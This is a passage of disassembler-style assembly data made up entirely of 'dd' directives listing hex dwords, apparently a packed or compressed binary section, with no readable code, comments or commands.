		dd 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh,	0B046A868h
		dd 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h,	764850DEh
		dd 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h
		dd 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh,	6F60D23Dh
		dd 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh
		dd 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh
		dd 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h
		dd 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h
		dd 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh,	0FC5AE45Bh
		dd 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h
		dd 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h,	0E2E8700Ah
		dd 76805A00h, 45E89C6h,	56FF1D17h, 4587C718h, 0B8942069h
		dd 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h
		dd 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh
		dd 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h
		dd 59503302h, 100DA85h,	915D7A62h, 0B6E3D06h, 0AB75A04Eh
		dd 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh
		dd 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h
		dd 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h,	7ED5015Bh
		dd 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h
		dd 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h
		dd 0AEA0BAh, 542B7EBDh,	3B90E91Fh, 89DB520Fh, 3FDD201Eh
		dd 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h
		dd 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h
		dd 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h,	0E202A4AAh
		dd 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h
		dd 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh
		dd 4574487Ch, 71416CBh,	7F8DD5A2h, 0F29C02Bh, 5F001FE2h
		dd 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h
		dd 3D620F16h, 9E18FCh, 3318C50h, 800422B3h, 340045E0h
		dd 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h
		dd 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh
		dd 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h
		dd 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh,	9680C012h
		dd 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh,	80951F7Ah
		dd 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah
		dd 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah,	0E35F18A9h
		dd 8BF3C30h, 8E1BC900h,	2EC54034h, 7CA258BCh, 76FA3700h
		dd 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h
		dd 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h,	1AC90C0h
		dd 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh,	0EDA1804Bh
		dd 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h,	527A5976h
		dd 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h
		dd 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h
		dd 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch,	8300629Eh
		dd 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h
		dd 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh,	16C59B03h
		dd 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h
		dd 0E78E617h, 0B60516A1h, 55718012h, 8D093927h,	70F70Fh
		dd 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch
		dd 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh,	1EE37640h
		dd 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h
		dd 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h
		dd 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h
		dd 0D800DC07h, 39B83Eh,	0E91C746h, 0A0AEA603h, 0A3E31900h
		dd 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h
		dd 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah
		dd 0C02001A1h
		dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h
		dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h
		dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh
		dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h
		dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h
		dd 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h, 0A791001h
		dd 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h, 20E9DB91h
		dd 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h,	0D68ED24Eh
		dd 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh,	40001B1Fh
		dd 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h, 0F3E003E5h
		dd 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h, 5875FFh
		dd 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h, 0FFDA00C3h
		dd 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h, 0F882681h
		dd 8B40835Ah, 0A77B9EDAh, 5D64F300h, 47565948h,	0C8EE07h
		dd 0F07E25BEh, 0F495725Ch, 0CA92AC07h, 7520F2F5h, 42CC88h
		dd 2F3344DCh, 85844F80h, 251520Fh, 40400FABh, 9C7C20F9h
		dd 302C00F1h, 0D81C051Ah, 0AB07B8C3h, 0FE2D331h, 2A60A510h
		dd 5CFB0EE0h, 0C121061Ch, 708B1FFAh, 9900E6FCh,	38F8D333h
		dd 3B487FADh, 303F5EF9h, 0E8000EBEh, 395364DAh,	2500AFEAh
		dd 7E75F448h, 9D5442h, 5E24054Bh, 0C93793C1h, 2C383500h
		dd 535CAC92h, 317F000Ah, 0C1F096Fh, 0F9031474h,	0FC2B7A81h
		dd 0EC10F873h, 50F230A5h, 0D81754DCh, 57F81A00h, 703C685Dh
		dd 83FA42h, 0F01212Dh, 0CC2ABCE1h, 8A309201h, 2299B355h
		dd 3D3CF0h, 0DE605C6h, 43460E02h, 1F0044F8h, 0E8C76603h
		dd 0AF9D6Ch, 287F34A7h,	92A40901h, 897058h, 4991410h, 0ECA78056h
		dd 98EB00E8h, 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh
		dd 1A5A6Bh, 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh
		dd 3AE500F9h, 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h
		dd 84280015h, 204838DBh, 0C201F229h, 94345577h,	0D660CBF3h
		dd 0B8090092h, 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h
		dd 8B82F53h, 8343CC00h,	0CC033D2Ah, 197DE0D7h, 25E2F00Ah
		dd 0D22E00E8h, 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h
		dd 0AEB1Fh, 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h
		dd 83784Fh, 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h
		dd 5771E14h, 32157CC5h,	0D04CC74Eh, 8B730A3Bh, 282B2903h
		dd 0A8CD191Fh, 581246h,	548E0B2Dh, 318A4C9Bh, 1DC80D00h
		dd 1442058Bh, 0FF600084h, 15F66428h, 6D182C6Bh,	0AD04C382h
		dd 4F34176Eh, 80B71E5Bh, 7A17E022h, 0D903E612h,	0E3535A88h
		dd 0AEE2A0B6h, 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h
		dd 0B4E641h, 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch
		dd 0EB2503E8h, 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h
		dd 25EE6Eh, 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh
		dd 0C10CE627h, 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h
		dd 331C014Eh, 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h
		dd 69E480C4h, 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h
		dd 2309EE08h, 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h
		dd 3998729Ch, 90691C94h, 0F07FFE1Ah, 6C009170h,	64E468C8h
		dd 98396072h, 22586132h, 60502354h, 4800C819h, 407244E4h
		dd 601C3C39h, 23342238h, 2C009130h, 0B4E4B8C8h,	3BB072h
		dd 0FC319382h, 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh
		dd 10E494A1h, 802E0CAh,	0D872DC64h, 0D0464139h,	23CC5E80h
		dd 0DEC491C8h, 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh
		dd 4F98A1E8h, 0B62F9300h, 90AE01CCh, 7FE10181h,	187BD521h
		dd 4914DC05h, 57780800h, 64487710h, 5387000Ch, 517F90FDh
		dd 1AB80F8Fh, 697C9717h, 4C459501h, 4770F909h, 0B1465080h
		dd 0A2423A3Ch, 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h
		dd 1CF539F4h, 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh
		dd 0FE1C0EFDh, 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h
		dd 0E73900E6h, 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h
		dd 0ED1C30ECh, 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h
		dd 0D6390CD5h, 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h
		dd 0DF1C20DEh, 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h
		dd 722BEC7h, 0CA91C923h, 0CCE4CB50h, 39CD0472h,	0CF1CCEh
		dd 91B123B0h, 0B3C824B2h, 39B58111h, 80B71CB6h,	0B923B822h
		dd 0C8BA91h, 72BCE4BBh,	1CBE39BDh, 12A0BF40h, 9BA122h
		dd 705CC165h, 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h
		dd 0E75BD8FEh, 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh
		dd 51400E2Ah, 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h
		dd 805D883Ah, 8B530A7h,	1C8A1020h, 0C0685CD4h, 817E2423h
		dd 651F4845h, 5B037061h, 0ABE45790h, 95809CB2h,	0C015E2h
		dd 754F450Ch, 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch
		dd 0A9E95C5Eh, 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh
		dd 588E989Dh, 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h
		dd 0B258F057h, 4C6030B0h, 2D12C484h, 846C0523h,	817E5F50h
		dd 0F0756020h, 10165209h, 35010E65h, 47F658A8h,	79043CD0h
		dd 0F01F642h, 76694445h, 415A7900h, 90016FBBh, 585E60C1h
		dd 0EED4109Ch, 2C00048h, 676E6152h, 9DFD1965h, 7700C820h
		dd 8210C92h, 4076014Fh,	6F6C66AFh, 2B74F44Dh, 0D95CB41Ch
		dd 64221DC0h, 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h,	0F38F7AD5h
		dd 688461A0h, 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h
		dd 0BE07F193h, 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch
		dd 14D4C1A4h, 9A1F0062h, 0D0084740h, 520A6E55h,	0EE3A5964h
		dd 6C76AB28h, 0D188E500h, 8760220Fh, 4F6F0450h,	81854A36h
		dd 0D044F649h, 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h
		dd 7542F4AFh, 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h
		dd 0A00543BDh, 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h
		dd 0B9616C89h, 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h
		dd 1656C8Bh, 503890E4h,	0C084CA64h, 0E803B0Ah, 74005345h
		dd 6B632661h, 67905081h, 4064A294h, 1109C93Bh, 20747003h
		dd 0A7EF6C6Bh, 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h
		dd 8A04512h, 0D4FC8D00h, 58EA5C40h, 0C51E2449h,	0BD59C02Dh
		dd 23614609h, 8D646F0Eh, 0B260C057h, 7FE41DA8h,	8462030Eh
		dd 738572D9h, 490BDE8h,	839C6655h, 41491F0Ah, 4365D2ACh
		dd 8F60E074h, 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh
		dd 6903FFh, 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh
		dd 5DF407F3h, 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h
		dd 4CEDA1FEh, 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h
		dd 29EA84h, 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh
		dd 4DEE00EDh, 0B3E58F5h, 5B016D47h, 0D70D3D28h,	4BF8FC67h
		dd 3AEB00E1h, 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h
		dd 0D2D900DDh, 89DC520Fh, 390716C1h, 47AC76D1h,	0F3C9003Eh
		dd 12A74A6h, 95FF5E8Ah,	70627852h, 770F7A94h, 0C07D4855h
		dd 0A120DC7Fh
		dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h,	69D02900h
		dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh
		dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh
		dd 0EB6192h, 2A914E17h,	6CF83037h, 0CB2BCE00h, 0D3674175h
		dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h
		dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h,	6844BDD8h
		dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h
		dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h
		dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh
		dd 12F3B91h, 3822F5D5h,	402E1004h, 0C4F278E2h, 3A3F9400h
		dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h
		dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h
		dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h,	0AFE8D490h
		dd 43CC5600h, 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh
		dd 5A880207h, 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh
		dd 747F588Ah, 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h
		dd 4461765Bh, 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h
		dd 7C7FFF85h, 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h
		dd 2658E711h, 560580F0h, 4DB90102h, 0E1BA7FCDh,	0C73F692Fh
		dd 0B38069D4h, 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh
		dd 24F40852h, 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h
		dd 3D3A20D2h, 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h
		dd 0A0E7DC0Dh, 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h
		dd 104686C2h, 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h
		dd 7BC2516h, 0FEB818E8h, 98C8D013h, 0EC0099E3h,	34D6373Bh
		dd 16AFCAA4h, 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h
		dd 0F08BFFAEh, 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch
		dd 73FC5FCh, 27895657h,	7FF7405Ch, 9D06E7D1h, 0F899CA9Bh
		dd 2447FAB8h, 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h
		dd 78410175h, 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h
		dd 0D83B622Eh, 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h
		dd 15A5F25h, 802AF4D3h,	0D0C6AACAh, 67003164h, 21D20BFFh
		dd 8A249Eh, 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh
		dd 94613920h, 985D9E03h, 0CA9883A8h, 10EE097Ch,	95543200h
		dd 6444A7D9h, 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h
		dd 98E16392h, 67503h, 4648F82Eh, 766CCCA2h, 97299800h
		dd 0BCBAB662h, 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h
		dd 0F20ACC88h, 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh
		dd 0FBF2F87Dh, 761F0Eh,	0AB9BBB05h, 944A8C26h, 8E7B9000h
		dd 4B9FBC01h, 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h
		dd 20A864FFh, 6AA028Bh,	0F0CF22CBh, 61F056C3h, 6C0524B1h
		dd 8F9A289Ch, 62B01E87h, 0F732E76Fh, 0A8DAADCh,	60537BE2h
		dd 558C0094h, 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h
		dd 0B22890FCh, 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h
		dd 0CB254920h, 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h
		dd 6430031h, 0FEBAEAE8h, 0EC730C88h, 1CEB4500h,	575302Dh
		dd 0ACDA1E31h, 5CF100E8h, 3A7FD25Ah, 340A6E03h,	0F8C825D8h
		dd 1DFEB31h, 22BBE414h,	0C42E6440h, 0B40F2919h,	9C2649h
		dd 0DC75C3E0h, 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h
		dd 7D80DB31h, 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh
		dd 570C1FFDh, 0E948F7Ah, 0E99D009Ah, 3C610ABAh,	0C6004454h
		dd 5A18A104h, 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h
		dd 803C0072h, 37097739h, 0C0F7DB6Bh, 6C003BE4h,	12AC0B6h
		dd 3E5080C3h, 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh
		dd 1077D4FFh, 390C093Dh, 26B3807Ch, 0AB74EA1Ch,	4F1F0086h
		dd 24C2ACDCh, 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah
		dd 0DE348D0Ch, 4A0F06D8h, 43F0B60Fh, 669D8024h,	0F4406Dh
		dd 0AA08CC6Eh, 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh
		dd 2102C604h, 93C2564h,	34D08E7Bh, 6919C066h, 2C0111BEh
		dd 3FE87Dh, 0B955D39Dh,	0DC074D87h, 97D5D129h, 5D8DA330h
		dd 20120061h, 0F29D1399h, 53007368h, 44F9800Bh,	0B0C8D074h
		dd 2A600EB4h, 40DE580Ah, 826FB4B9h, 0F70023EBh,	1E575243h
		dd 157480h, 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh
		dd 884E1F41h, 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh
		dd 785848h, 92598043h, 60EAE2BDh, 723AE900h, 2907C383h
		dd 1E161E4Eh, 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h
		dd 91A1F129h, 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h
		dd 0F17B100h, 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h
		dd 90017E0h, 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh
		dd 637B4B14h, 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh
		dd 0D1DF220Fh, 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh
		dd 42EB05h, 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h
		dd 38BCBEh, 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h
		dd 6AD6B7h, 0EBCA5D5Fh,	7C95170Bh, 9053400h, 0EABA74F6h
		dd 3B710001h, 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h
		dd 0E3291C97h, 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h
		dd 1C52E04Bh, 0DF0431E9h, 0B7FC4086h, 274EB01h,	6E98E103h
		dd 0C047EFB3h, 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h
		dd 4E047E03h, 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h
		dd 0BA2576C2h, 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h
		dd 3BABE8Ch, 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h
		dd 46F201E3h, 0A9E8CF0Bh, 0C155207Dh, 462873Eh,	0D9AB50C3h
		dd 736FF680h, 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh
		dd 63824BD5h, 7B7D59E3h, 900C0111h, 0CE2E0809h,	0E8D7F830h
		dd 0E45C0F00h, 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h
		dd 96CF38D1h, 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h
		dd 0F09401DAh, 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch
		dd 3ACA2BC1h, 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh
		dd 0F685008Dh, 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h
		dd 437D7Ch, 0DDDB0330h,	645157B2h, 62722F00h, 0A6B4BA7h
		dd 0AA470095h, 0EC7D4F39h, 923E2A34h, 0EEB0F2Dh, 2563E08Dh
		dd 0E419F6h, 4118C5Eh, 3490DCA4h, 7ADD6105h, 61870DD8h
		dd 8EE84B20h, 0FBC100A5h, 0D92A1179h, 351CDC01h, 16C0D848h
		dd 0AA406EBh, 5A050013h, 89CA0495h, 8400EE11h, 681C9D0Bh
		dd 562E74h, 45C68510h, 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh
		dd 47203Ch, 0F841F940h,	0E8FE0581h, 3AD48200h, 6939FFB8h
		dd 0EE80000Eh, 0D2121936h, 600E92E7h, 471603D5h, 0D14020C2h
		dd 9FE810h, 0AD6CD61h, 0DB307828h, 0C8AE0660h, 0EA4714Fh
		dd 0DD180886h, 1A79B40h, 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h
		dd 92718770h, 8BC09757h, 881EC5h, 66517231h, 0FDC79A5h
		dd 0CF094F07h, 57D010D5h, 278461h, 7E811575h, 456744A1h
		dd 37E3C000h, 97173259h, 2B8E0056h, 88723810h, 407CDAF4h
		dd 915FF800h, 0E1E44D28h
		dd 0A6F4C8h, 4FE083C1h,	21D00C03h, 0C7D91401h, 0D64BEB4h
		dd 98CE60F8h, 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h
		dd 0AED6E8B8h, 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h
		dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
		dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
		dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh
		dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h,	30070E7Eh
		dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h
		dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h
		dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h
		dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah,	7791F073h
		dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h
		dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh
		dd 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah
		dd 5BB35F4h, 8C063757h,	902BC0F0h, 7034612h, 497D834Ah
		dd 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h
		dd 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h
		dd 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh
		dd 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h, 503B55Ch
		dd 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h,	5000CB2Ch
		dd 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah
		dd 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh
		dd 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh
		dd 514E444Ch, 342507D0h, 8060094h, 50FE1391h, 205C67FDh
		dd 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h,	0BB019148h
		dd 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh,	28E7A65Ch
		dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h
		dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h
		dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h
		dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h,	0D79E7323h
		dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h
		dd 0F8F6EBh, 3260B63Eh,	50895951h, 0D09F0300h, 64EBDFDBh
		dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah
		dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh
		dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh
		dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h,	94613Dh
		dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh
		dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h
		dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h
		dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h,	4B6F7181h
		dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h
		dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh
		dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h
		dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh
		dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h,	0D0112CF2h
		dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h,	48901h
		dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h,	7CD5B4ACh
		dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h
		dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h,	0C80720E9h
		dd 54046A00h, 37503056h, 0DF442568h, 16245500h,	420099BAh
		dd 90A4D4B8h, 7F4ACC7h,	4A045698h, 0FB8069FAh, 80102903h
		dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h
		dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh
		dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h
		dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h
		dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h
		dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh
